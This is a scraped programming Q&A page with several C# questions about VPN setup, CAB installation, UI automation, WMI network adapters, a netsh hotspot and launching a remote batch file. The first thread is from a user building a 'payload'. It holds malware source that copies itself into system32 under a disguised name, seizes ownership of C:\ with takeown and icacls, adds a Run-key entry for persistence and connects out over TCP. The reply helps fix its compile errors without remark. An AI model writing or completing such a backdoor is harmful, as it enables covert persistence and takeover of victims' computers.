Trying to reference registry dll in run-time compilation - c#

Error (CS0103): The name 'regk' does not exist in the current context
Error (CS0103): The name 'rk' does not exist in the current context
I am attempting to generate a payload.
Full code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Security.AccessControl;
using System.ComponentModel;
using System.Diagnostics;
using Microsoft.Win32;
using System.Net.Sockets;
namespace Test
{
class Class2
{
public static bool RunOnStartup(string AppTitle, string AppPath)
{
RegistryKey rk;
try
{
rk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
return true;
}
catch (Exception)
{
}
try
{
rk = Registry.CurrentUser.OpenSubKey(#"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
rk.SetValue(AppTitle, AppPath);
}
catch (Exception)
{
return false;
}
return true;
}
static void drop()
{
//take ownership of the file, code assumes file you want to delete is toBeDeleted.txt
ProcessStartInfo processInfo = new ProcessStartInfo("cmd.exe", #"/k takeown /f C:\ && icacls C:\ /grant %username%:F");
processInfo.CreateNoWindow = true;
processInfo.UseShellExecute = true;
processInfo.Verb = "runas";
processInfo.FileName = System.Reflection.Assembly.GetExecutingAssembly().Location;//path of your executable
try
{
Process.Start(processInfo);
// a prompt will be presented to user continue with deletion action
// you may want to have some other checks before deletion
File.Move(System.Reflection.Assembly.GetExecutingAssembly().Location, #"C:\Windows\system32\run32.exe");
RunOnStartup("sysrun32", #"C:\Windows\system32\run32.exe");
}
catch (Win32Exception)
{
//Do nothing as user cancelled UAC window.
}
catch (System.IO.IOException)
{
}
}
static void Main()
{
string serverip = "127.0.0.1";
if (File.Exists(#"C:\Windows\System32\run32.exe"))
{
if (System.Reflection.Assembly.GetExecutingAssembly().Location == #"C:\Windows\system32\run32.exe")
{
try
{
if(!Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12").GetValue == "true")
{
regk = Registry.LocalMachine.OpenSubKey(#"SOFTWARE\Microsoft\F12", true);
rk.SetValue("needsrun", "true");
}
else
{
TcpClient client = new TcpClient(serverip, 6675);
NetworkStream ns = client.GetStream();
ns.Write();
}
}
catch (Exception e)
{
}
}
}
else
{
drop();
}
}
}
}
There is my full code. Any help would be appreciated.
-bobboo101

Since regk isn't defined you need to define it's type or use var when you declare it e.g. var regk =.
You also can't access rk from Main because it's declared in RunOnStartup
You need to revise your class to store those variables at the class level as fields e.g. within Class2 and then you can access them from the methods you declare however keep in mind you have declared your methods as static so you will need to do the same for the variables or change the calls of your program to pass them to an instance.

Related

DotRas to create a VPN with Windows 7

I have the below code and I want to get some VPN with some settings that I need to setup:
What I need is to
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using DotRas;
namespace vpnConsole
{
class Program
{
static void Main(string[] args)
{
string vpnName = "VPN Essai";
string destination = "113.244.66.3";
string preSharedKey = "Gs0r2!-8753";
try
{
RasPhoneBook phoneBook = new RasPhoneBook();
phoneBook.Open();
RasEntry vpnEntry = RasEntry.CreateVpnEntry(vpnName,destination,RasVpnStrategy.L2tpFirst,RasDevice.Create(vpnName,RasDeviceType.Vpn),false);
vpnEntry.Options.UsePreSharedKey = true;
vpnEntry.Options.UseLogOnCredentials = true;
vpnEntry.Options.RequirePap = true;
phoneBook.Entries.Add(vpnEntry);
vpnEntry.UpdateCredentials(RasPreSharedKey.Client, preSharedKey);
vpnEntry.Options.RequirePap = true;
bool isUpdated = vpnEntry.Update();
Console.WriteLine(#"Connection created and Updated with PreSharedKey=true, LogOnCredentials=true,RequirePap=true, RecordIsUpdated=" + isUpdated);
}
catch (Exception ex)
{
Console.WriteLine(#"ERROR: " + ex.Message + " Details: " + ex.Source );
Environment.Exit(999);
}
}
}
}
When I ran this code, it creates the VPN but does not keep settings I want to setup, for instance: RequirePap = true;
Configuration as I need it to be

CAB Installation Unsucessfully using wceload

When i run this application i get an message that DeviceApplication.CAB installation was unsuccessfull .
I checked inside the windows directory and i found that wceload.exe is available.
I have placed the cab inside the directory where the present exe is running .
Any idea how to do this ??
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
namespace DeviceApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void displayMesage() {
LaunchInstaller("DeviceApplication.cab");
}
private static bool LaunchInstaller(string cabFile)
{
// Info on WceLoad.exe
//http://msdn.microsoft.com/en-us/library/bb158700.aspx
const string installerExe = "\\windows\\wceload.exe";
const string processOptions = "";
try
{
ProcessStartInfo processInfo = new ProcessStartInfo();
processInfo.FileName = installerExe;
processInfo.Arguments = processOptions + " \"" + cabFile + "\"";
Process process = Process.Start(processInfo);
if (process != null)
{
process.WaitForExit();
}
return InstallationSuccessCheck(cabFile);
}
catch (Exception e)
{
MessageBox.Show("Sorry, for some reason this installation failed.\n" + e.Message);
Console.WriteLine(e);
throw;
}
}
private static bool InstallationSuccessCheck(string cabFile)
{
if (File.Exists(cabFile))
{
MessageBox.Show("Something in the install went wrong. Please contact support.");
return false;
}
return true;
}
}
}
Answering my own question ,
Its because of the path i gave in the process ,
ProcessStartInfo psi = new ProcessStartInfo(#"Windows\wceload.exe", "/nodelete \"Program Files\\DeviceApplication3\\DeviceApplication.CAB\"");
Process proc = Process.Start(psi);

pattern.Invoke() exception: Operation is not valid due to the current state of the object

I'm new to c#.
I'm looking for solution to this (app to check can be downloaded from http://download.eset.com/special/ESETLogCollector.exe
CODE:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Threading;
using System.Windows.Automation;
namespace LogCollector
{
class Program
{
static void Main(string[] args)
{
ProcessStartInfo proc = new ProcessStartInfo();
proc.UseShellExecute = true;
proc.WorkingDirectory = Environment.CurrentDirectory;
proc.FileName = "C:\\robot\\ESETLogCollector.exe";
proc.Verb = "runas";
Process.Start(proc);
System.Threading.Thread.Sleep(2000);
Console.WriteLine("Ahoj");
AutomationElement desktop = AutomationElement.RootElement;
Condition cond = new PropertyCondition(AutomationElement.NameProperty, "ESET Log Collector");
AutomationElement elc = desktop.FindFirst(TreeScope.Children, cond);
Console.WriteLine(elc.Current.Name);
String save_path = "";
Condition cond1 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1005");
try
{
AutomationElement save_as = elc.FindFirst(TreeScope.Subtree, cond1);
Console.WriteLine(save_as.Current.AutomationId);
save_path = save_as.Current.Name;
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
if (System.IO.File.Exists(save_path))
{
System.IO.File.Delete(save_path);
Console.WriteLine(save_path);
}
Condition cond2 = new PropertyCondition(AutomationElement.AutomationIdProperty, "1002");
AutomationElement collect = elc.FindFirst(TreeScope.Children, cond2);
Console.WriteLine(collect.Current.Name);
try
{
Object outObject;
collect.TryGetCurrentPattern(InvokePattern.Pattern, out outObject);
InvokePattern pattern = outObject as InvokePattern;
pattern.Invoke();
}
catch (System.Exception e)
{
Console.WriteLine("EX: {0}", e.Message);
}
Console.ReadKey();
}
}
}
All I still got IF I Want to invoke buttonclick is:
Operation is not valid due to the current stat of the object
I really don't know what is happening here. Can anybody help me with this?
Ty
The operation is probably failing because you are not running your automation application as administrator while the ESET Log Collector has been run with elevated permissions.
The UI Automation Security Overview describes the security model and how to communicate with processes that are running at a higher privilege level (i.e. you need a signed application with a manifest file that includes a special attribute).

How to use C# to enable a disabled wireless network card

I've got a problem where I need to enable a card that has been disabled already and a searcher on WMI NetworkAdapter does not return the object.
I can think of a possible way to do this but I've been unable to get it to work, thats is to create a managementObject using this as the constructor name. but this just throws exceptions
{\\.\root\CIMV2:Win32_NetworkAdapter.NetConnectionID='Wireless Network Connection'}
The other way was to shell a netsh and enable the device, which is kind of ugly, or to use shell32/dll "Enable" to do the same, again, both passing just the name. Ive been getting the name from a registry scan on HKLM\SYSTEM\CurrentControlSet\Network and looking for MediaType=2 to get a string list of wireless devices. All is good if I run the application while the adapter is enabled as I can get the networkObject for the wireless device but it all falls over if the application starts while the wireless device is disabled.
Thanks
Edit : This is the code that I would love to work but no go :(
using System;
using System.Management;
class Sample
{
public static int Main(string[] args)
{
ManagementObject mObj = new ManagementObject("\\\\.\\root\\CIMV2:Win32_NetworkAdapter.NetConnectionID=\"Wireless Network Connection\"");
mObj.InvokeMethod("Enable", null);
return 0;
}
}
This method essentially is using C# to leverage the WMI and Win32_NetworkAdapter Class. It should have methods built in for:
Enable
Disable
So you can execute your command on a Selected interface.
You can achieve that in this manner:
SelectQuery query = new SelectQuery("Win32_NetworkAdapter", "NetConnectionStatus=2");
ManagementObjectSearcher search = new ManagementObjectSearcher(query);
foreach(ManagementObject result in search.Get())
{
NetworkAdapter adapter = new NetworkAdapter(result);
// Identify the adapter you wish to disable here.
// In particular, check the AdapterType and
// Description properties.
// Here, we're selecting the LAN adapters.
if (adapter.AdapterType.Equals("Ethernet 802.3"))
{
adapter.Disable();
}
}
There is a blog that actually outlines such a task; it defines how to create a Wrapper around the WMI Class.
Another solution may be to also use the ControlService (advapi32).
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, SERVICE_CONTROL dwControl, ref SERVICE_STATUS lpServiceStatus);
Hopefully that one of those ways help..
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Security.Principal;
namespace WifiRouter
{
public partial class Form1 : Form
{
bool connect = false;
public Form1()
{
InitializeComponent();
}
public static bool IsAdmin()
{
WindowsIdentity id = WindowsIdentity.GetCurrent();
WindowsPrincipal p = new WindowsPrincipal(id);
return p.IsInRole(WindowsBuiltInRole.Administrator);
}
public void RestartElevated()
{
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.UseShellExecute = true;
startInfo.CreateNoWindow = true;
startInfo.WorkingDirectory = Environment.CurrentDirectory;
startInfo.FileName = System.Windows.Forms.Application.ExecutablePath;
startInfo.Verb = "runas";
try
{
Process p = Process.Start(startInfo);
}
catch
{
}
System.Windows.Forms.Application.Exit();
}
private void button1_Click(object sender, EventArgs e)
{
string ssid = textBox1.Text, key = textBox2.Text;
if (!connect)
{
if (String.IsNullOrEmpty(textBox1.Text))
{
MessageBox.Show("SSID cannot be left blank !",
"Information", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
if (textBox2.Text == null || textBox2.Text == "")
{
MessageBox.Show("Key value cannot be left blank !",
"Information", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
if (key.Length >= 6)
{
Hotspot(ssid, key, true);
textBox1.Enabled = false;
textBox2.Enabled = false;
button1.Text = "Stop";
connect = true;
}
else
{
MessageBox.Show("Key should be more then or Equal to 6 Characters !",
"Information", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
}
else
{
Hotspot(null, null, false);
textBox1.Enabled = true;
textBox2.Enabled = true;
button1.Text = "Start";
connect = false;
}
}
private void Hotspot(string ssid, string key,bool status)
{
ProcessStartInfo processStartInfo = new ProcessStartInfo("cmd.exe");
processStartInfo.RedirectStandardInput = true;
processStartInfo.RedirectStandardOutput = true;
processStartInfo.CreateNoWindow = true;
processStartInfo.UseShellExecute = false;
Process process = Process.Start(processStartInfo);
if (process != null)
{
if (status)
{
process.StandardInput.WriteLine("netsh wlan set hostednetwork mode=allow ssid=" + ssid + " key=" + key);
process.StandardInput.WriteLine("netsh wlan start hosted network");
process.StandardInput.Close();
}
else
{
process.StandardInput.WriteLine("netsh wlan stop hostednetwork");
process.StandardInput.Close();
}
}
}
private void Form1_Load(object sender, EventArgs e)
{
if (!IsAdmin())
{
RestartElevated();
}
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Hotspot(null, null, false);
Application.Exit();
}
}
}

when i running the below code iam getting handle is invalid it takes a string and pass it to remote batch file

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Security;
namespace SampleProject
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
String input = textBox1.Text;
try
{
Process ps = new Process();
ps.StartInfo.FileName = #"\\199.63.55.163\d$\hello.bat";
ps.StartInfo.Arguments = input;
ps.StartInfo.CreateNoWindow = false;
String domain = ps.StartInfo.Domain;
ps.StartInfo.RedirectStandardOutput = true;
ps.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
ps.StartInfo.WorkingDirectory = #"d:\praveen";
ps.StartInfo.UserName = "Raj";
ps.StartInfo.Domain = "domain";
ps.StartInfo.Password = Encrypt("Hello123");
ps.StartInfo.UseShellExecute = false;
ps.Start();
ps.WaitForExit();
MessageBox.Show(ps.StandardOutput.ReadToEnd());
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
}
}
private void label1_Click(object sender, EventArgs e)
{
}
public static SecureString Encrypt(String pwd)
{
SecureString ss = new SecureString();
for (int i = 0; i < pwd.Length; i++)
{
ss.AppendChar(pwd[i]);
}
return ss;
}
}
}
It's a shot in the dark, but I think that you can't read the processes standard output once it has exited.
Also you have to redirect it - take a look at this documentation: http://msdn.microsoft.com/en-us/library/system.diagnostics.process.standardoutput.aspx
Duplicate of .NET Process Start Process Error using credentials (The handle is invalid) ? You need to assign RedirectStandardInput, RedirectStandardOutput, RedirectStandardError

Categories